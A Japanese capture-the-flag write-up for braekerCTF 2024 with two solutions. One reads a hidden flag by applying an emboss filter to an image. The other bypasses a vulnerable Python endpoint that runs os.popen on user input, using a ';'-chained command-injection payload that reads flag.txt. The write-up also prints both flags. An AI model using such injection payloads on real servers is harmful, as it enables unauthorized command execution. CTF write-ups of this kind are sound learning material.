🤖

braekerCTF 2024 writeup

2024/02/25に公開

[Programming / Misc] Eye Doctor

以下のような画像が与えられました。

Aperi Solve にかけても特に何も分かりませんでした。
とりあえず、GIMPで編集されていたようなので、自分もGIMPを使って色々フィルターをかけてみました。
エンボスというフィルターをかけたところ、以下のように文字が浮き出てきました。

少し読みづらいですが文脈で補正します。
brck{4ppr04ch1tfr0M4D1ff3r3ntAngl3}

[Webservices] Empty execution

フィルターに引っかからずに、サーバー側でコマンドを実行してflag.txtを閲覧する問題でした。
コマンドは以下のように3つのフィルターで制限されています。

# Length check
if len(command) < 5:
    return jsonify({'message': 'Command too short'}), 501

# Perform security checks
if '..' in command or '/' in command:
    return jsonify({'message': 'Hacking attempt detected'}), 501

# Find path to executable
executable_to_run = command.split()[0]

# Check if we can execute the binary
if os.access(executable_to_run, os.X_OK):
    # Execute binary if it exists and is executable
    out = os.popen(command).read()
    return jsonify({'message': 'Command output: ' + str(out)}), 200

各フィルターの条件については以下の通りです。

  1. 5文字以上
  2. ../は使えない
  3. コマンドと引数に分けた時、コマンドの部分が実行可能である

また、3つ目のフィルターについては、実行可能なコマンド(バイナリ)がexecutablesディレクトリ内のものに制限されているようです。

以下、flagを得るためのコマンドです。

{
	"command":". ;flagfile=$(echo $(pwd | cut -c -13)flag.txt);cat $flagfile"
}

コマンドを実行する上で、3つ目のフィルターが邪魔になりますが、3つ目のフィルターに用いられるos.access()は第一引数に渡されたpathが実行可能かを判定するだけなので、executablesディレクトリ内にある(どんなディレクトリにもある).をos.access()に渡せば回避できます。
その後は;でつないで好きなコマンドを実行できるのでflag.txtをcatで読み込んでフラグを取得します。ただ、2つ目のフィルターによって../は使えないので、カレントディレクトリ/usr/src/app/executablesからexecutablesを削除してflag.txtを付け加えてパスを指定しています。
brck{Ch33r_Up_BuddY_JU5t_3x3Cut3_4_D1reCT0ry}

Discussion